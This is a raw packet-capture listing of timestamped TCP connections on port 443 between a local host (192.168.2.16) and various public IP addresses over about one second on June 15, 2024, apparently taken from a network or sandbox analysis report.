Jun 15, 2024 11:14:55.677138090 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:55.677206993 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:55.677350044 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:55.677366018 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:55.711999893 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.712028027 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.726928949 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:55.751929045 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:55.752464056 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:55.752511024 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:55.753665924 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:55.753846884 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:55.754668951 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:55.754746914 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:55.754825115 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:55.754842997 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:55.756927013 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.764067888 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.764094114 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.764136076 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.764188051 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.764204025 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.764285088 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.764307976 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.769260883 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.769275904 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.769361019 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.769368887 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.804037094 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:55.819925070 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.826368093 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:55.828394890 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:55.828417063 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:55.828495979 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.829572916 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:55.829653978 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:55.829808950 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.829828978 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.830831051 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:55.830895901 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:55.831094027 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:55.831101894 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:55.831280947 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.831361055 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.832158089 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.832242012 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.832302094 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.876502991 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.880903959 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.880922079 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.881026030 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.881036043 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.881082058 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.883928061 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:55.884130001 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.884166002 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:55.884998083 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885063887 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885093927 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.885099888 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885155916 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.885684013 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885762930 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.885768890 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885874033 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.885929108 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.886267900 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.886280060 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.891084909 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.891118050 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.891191959 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.891484022 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.891494989 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.899912119 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:14:55.905164003 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.908304930 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.908313036 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.909491062 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.909570932 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.910379887 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.910442114 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.916757107 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.917002916 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.920164108 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.920281887 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.920300007 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.923968077 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:55.924202919 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:55.924230099 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:55.925226927 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:55.925297022 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:55.926314116 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:55.926378012 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:55.926454067 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:55.926467896 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:55.931961060 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:55.932482004 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.932579041 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.932694912 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.932842016 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.932861090 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.963932037 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.963937998 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.978939056 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.011020899 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.022051096 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.022259951 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.022625923 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.022874117 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.022905111 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.024713993 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.024749041 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.024847031 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.025023937 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.025044918 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.032140970 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.032406092 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.032417059 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.033977032 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.033998966 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.034004927 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.034034967 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.034056902 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.034086943 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.034090996 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.034118891 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.034173012 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.034212112 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.034212112 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.035231113 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.035320997 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.035399914 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.035409927 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.042399883 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.042458057 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.042504072 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.042551994 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.042788029 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:56.042798996 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:56.054301977 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.054579020 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.054615974 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.054943085 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.055480003 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.055545092 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.055643082 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.056389093 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.056427002 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.056523085 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.056711912 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.056725025 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.068435907 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:56.068527937 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:56.068618059 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:56.069027901 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:56.069051027 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:56.072582960 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.072633982 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.072654009 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.072722912 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:56.072734118 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.072761059 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.072766066 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:56.072823048 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:56.073323965 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:56.073333979 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:56.084913969 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.084932089 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.085005999 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.085130930 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:56.085165024 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:56.085292101 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.085303068 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.085331917 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:56.085490942 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:56.085510015 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:56.090042114 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.093302965 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.095390081 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.095457077 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.096498013 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.096926928 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.097121954 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.097388983 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.097389936 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.097484112 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.097560883 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.138083935 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.138150930 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.172888041 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173007011 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173103094 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173173904 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.173192024 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173336983 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173388004 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173435926 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.173470020 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173532963 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.173543930 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173588037 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.173594952 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.173985958 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.174169064 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.174177885 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.186209917 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.218139887 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.289319992 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289424896 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289535999 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289571047 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289596081 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289602995 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289616108 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289618969 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.289619923 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.289630890 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289642096 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289653063 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289654970 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289654970 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.289685965 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.289699078 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.289699078 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.289710999 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.289736986 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.289789915 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.289921999 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.290052891 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.290087938 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.290673971 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.290760994 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.290817976 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.290832043 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.290894032 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.290901899 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.291409016 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.291424036 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.291467905 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.291477919 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.291507006 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.291522026 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.291528940 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.291538000 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.291609049 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.291657925 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.291666031 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.292203903 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.292290926 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.292346001 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.292356014 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.292396069 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.292403936 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.343954086 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.343957901 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.372025013 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.372054100 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.372129917 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.372263908 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.372263908 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.373128891 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.373198032 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.386199951 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.386224985 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.386360884 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.386409998 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.388696909 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.388911963 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.388966084 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.388983011 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.389506102 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:56.389573097 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:56.392750978 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.392838955 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.393567085 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.393652916 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.393691063 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.401036978 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.401406050 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.401473999 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.402949095 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.403126001 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.404536963 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.404623032 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.404654026 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.404680967 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.405910969 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406073093 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406141043 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.406163931 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406251907 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406301022 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.406311989 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406394958 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406405926 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406409025 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406443119 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406455994 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.406460047 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.406466007 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406481981 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406507015 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.406514883 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406550884 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.406686068 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406694889 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406745911 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.406747103 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.406754017 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406758070 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.406766891 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.406820059 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.407146931 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.407201052 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.407208920 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.407282114 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.407341003 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.407350063 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.407416105 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.407423973 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.408098936 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.408160925 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.408171892 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.408220053 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.408235073 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.408297062 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.408334017 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.408397913 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.409195900 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.409281969 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.409301043 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.409364939 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.409387112 CEST	443	49761	104.22.53.86	192.168.2.16
